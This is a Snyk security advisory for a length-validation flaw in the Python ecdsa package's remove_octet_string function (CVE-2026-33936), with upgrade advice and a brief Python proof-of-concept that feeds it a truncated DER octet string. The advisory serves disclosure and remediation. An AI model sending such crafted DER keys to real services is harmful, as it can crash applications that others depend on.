Improper Handling of Length Parameter Inconsistency Affecting ecdsa package, versions [,0.19.2)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-ECDSA-15792390
- published27 Mar 2026
- disclosed27 Mar 2026
- creditMohamed Abdelaal
Introduced: 27 Mar 2026
CVE-2026-33936 (opens in a new tab)How to fix?
Upgrade ecdsa to version 0.19.2 or higher.
Overview
ecdsa is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under the MIT license.
Affected versions of this package are vulnerable to Improper Handling of Length Parameter Inconsistency due to improper validation of DER-encoded data in the remove_octet_string function. An attacker can cause unexpected exceptions and application crashes by submitting specially crafted DER private keys with incorrect length fields.
PoC
from ecdsa.der import remove_octet_string, UnexpectedDER
# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00 -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"
try:
body, rest = remove_octet_string(bad)
print("[BUG] remove_octet_string accepted truncated DER.")
print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
print("Body=", body)
print("Rest=", rest)
except UnexpectedDER as e:
print("[OK] Rejected malformed DER:", e)